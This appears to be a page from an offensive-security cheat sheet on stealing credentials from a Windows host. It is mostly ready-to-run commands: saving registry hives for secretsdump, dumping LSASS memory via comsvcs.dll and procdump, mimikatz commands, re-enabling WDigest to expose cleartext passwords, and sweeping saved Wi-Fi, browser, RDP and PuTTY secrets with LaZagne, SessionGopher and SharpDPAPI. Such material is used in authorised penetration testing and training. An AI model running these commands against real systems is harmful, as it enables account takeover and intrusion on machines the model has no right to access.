Windows Credentials Attacks

Everything here targets credentials stored on a single Windows host, local account hashes, cached logon secrets, saved browser/app passwords. Domain-wide techniques that depend on Active Directory itself (DCSync, Golden/Silver tickets, Pass-the-Ticket, dumping NTDS.dit from a Domain Controller) belong on the AD Kerberos Ticket Attacks page instead, this page is strictly local-host. Cracking whatever hashes you pull here happens on the Password Cracking page.

At Rest

Registry hives and the credential store, readable with the right privileges even without a running process to dump.

In Memory

LSASS holds logon secrets in a recoverable form for the duration of a session, the highest-value and most commonly targeted source.

Registry Hives (SAM/SECURITY/SYSTEM)

Windows stores local account secrets across three registry hives that only make sense together, the SAM hashes are encrypted with a key that lives in SYSTEM, so pulling just one of them gets you nothing crackable.

Hive	Contains
`HKLM\SAM`	Local account password hashes
`HKLM\SYSTEM`	The boot key, required to decrypt the SAM hashes
`HKLM\SECURITY`	LSA secrets: cached domain credentials (DCC2), DPAPI keys, sometimes cleartext service account passwords

# to manually dump it
reg.exe save hklm\sam C:\sam.save
reg.exe save hklm\system C:\system.save
reg.exe save hklm\security C:\security.save

# to use it with python
impacket-secretsdump -sam sam.save -security security.save -system system.save LOCAL

NetExec does the same extraction remotely over SMB with valid local credentials already in hand, no need to touch the registry manually at all. Check the NetExec page for more informations.

netexec smb <ip> --local-auth -u <user> -p <password> --sam
netexec smb <ip> --local-auth -u <user> -p <password> --lsa

LSASS Memory

LSASS (Local Security Authority Subsystem Service) holds every logged-on user’s credentials in memory for as long as their session is active, dumping its memory and parsing it offline is one of the highest-value single actions on a Windows host. To dump the LSASS process with the Task Manager

Task Manager > Processes tab > Local Security Authority Process > Create dump file

To dump the LSASS process from the console:

rundll32 C:\windows\system32\comsvcs.dll, MiniDump <PID> C:\lsass.dmp full

To dump the LSASS process with procdump:

procdump.exe -accepteula -ma lsass.exe lsass.dmp

To dump it with mimikatz:

mimikatz # sekurlsa::minidump lsass.dmp

Parsing the dump doesn’t require Mimikatz itself, pypykatz is a pure Python reimplementation that runs on Linux against an exfiltrated dump:

pypykatz lsa minidump ./lsass.dmp

Mimikatz (On-Host)

Mimikatz needs to run on the windows target itself (or inside a session on it, via Meterpreter’s kiwi extension), unlike pypykatz which works offline against an exfiltrated dump.

privilege::debug              # confirm the required privilege is held before anything else
lsadump::sam                  # dump local NTLM hashes (equivalent to the registry-save method above)
sekurlsa::logonpasswords      # dump credentials of every logged-on user from LSASS memory directly
sekurlsa::credman             # dump Credential Manager contents
sekurlsa::ekeys               # dump Kerberos encryption keys for logged-on users

sekurlsa::logonpasswords only recovers a cleartext password (rather than just the NTLM hash) if WDigest is enabled, check and set it first if the hash alone isn’t enough:

Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" | Select-Object UseLogonCredential
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" -Name "UseLogonCredential" -Value 1 -Force

Via Metasploit/Meterpreter:

load kiwi
lsa_dump_sam
creds_all

Credential Manager & Saved Sessions

cmdkey /list                              # list saved credentials
runas /savecred /user:<username> cmd       # reuse a saved credential without ever seeing the password

SessionGopher finds and decrypts saved sessions for common remote-access tools (PuTTY, WinSCP, RDP, FileZilla) in one pass:

Import-Module .\SessionGopher.ps1
Invoke-SessionGopher -Target WINLPE-SRV01

LaZagne sweeps a much broader set of local applications (browsers, mail clients, Wi-Fi, password managers) for stored credentials in one run:

.\Lazagne.exe all

Wi-Fi Credentials

To show wifi connection passwords in cleartext

netsh wlan show profile
netsh wlan show profile <profile-name> key=clear

RDP Connection Manager (.rdg) Files

# upload SharpDPAPI.exe to the target first
SharpDPAPI.exe rdg /unprotected

If a master key is required instead, pull it via Mimikatz (as an .exe, or inside a Meterpreter session):

load kiwi
kiwi_cmd sekurlsa::dpapi

Copy the {GUID}:SHA1-key pair from the output, then decrypt directly:

SharpDPAPI.exe rdg {GUID}:SHA1-KEY

DonPAPI automates DPAPI secret extraction (saved RDP/Wi-Fi/browser credentials) across an entire domain in one pass, worth reaching for once more than a single host is in scope.

Interesting Paths

These are some interesting paths and commands to look for credentials. For a more detailed search check the Windows OS Enumeration page

C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Autounattend.xml

findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.ps1 *.yml *.rdg

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"   # cleartext password if autologon is enabled
reg query HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions                          # saved PuTTY sessions, query again per session name found

Quick Reference Tools

Password Cracking

Crack any NTLM/NetNTLMv2/DCC2 hash dumped on this page.

AD Kerberos Ticket Attacks

DCSync, Golden/Silver tickets, Pass-the-Ticket, and NTDS.dit, the domain-wide techniques this page deliberately excludes.

pypykatz

Parse an exfiltrated LSASS dump offline, no Mimikatz or Windows required.

LaZagne

Broad local credential sweep across dozens of applications.

Get Started

Web

Linux

Windows

Active Directory

Services & Protocols

Password Attacks

Lateral Movement

Techniques

Tools & Resources

Windows Credentials Attacks

At Rest

In Memory

Registry Hives (SAM/SECURITY/SYSTEM)

LSASS Memory

Mimikatz (On-Host)

Credential Manager & Saved Sessions

Wi-Fi Credentials

RDP Connection Manager (.rdg) Files

Interesting Paths

Quick Reference Tools

Password Cracking

AD Kerberos Ticket Attacks

pypykatz

LaZagne

At Rest

In Memory

​Registry Hives (SAM/SECURITY/SYSTEM)

​LSASS Memory

​Mimikatz (On-Host)

​Credential Manager & Saved Sessions

​Wi-Fi Credentials

​RDP Connection Manager (.rdg) Files

​Interesting Paths

​Quick Reference Tools

Password Cracking

AD Kerberos Ticket Attacks

pypykatz

LaZagne

Registry Hives (SAM/SECURITY/SYSTEM)

LSASS Memory

Mimikatz (On-Host)

Credential Manager & Saved Sessions

Wi-Fi Credentials

RDP Connection Manager (.rdg) Files

Interesting Paths

Quick Reference Tools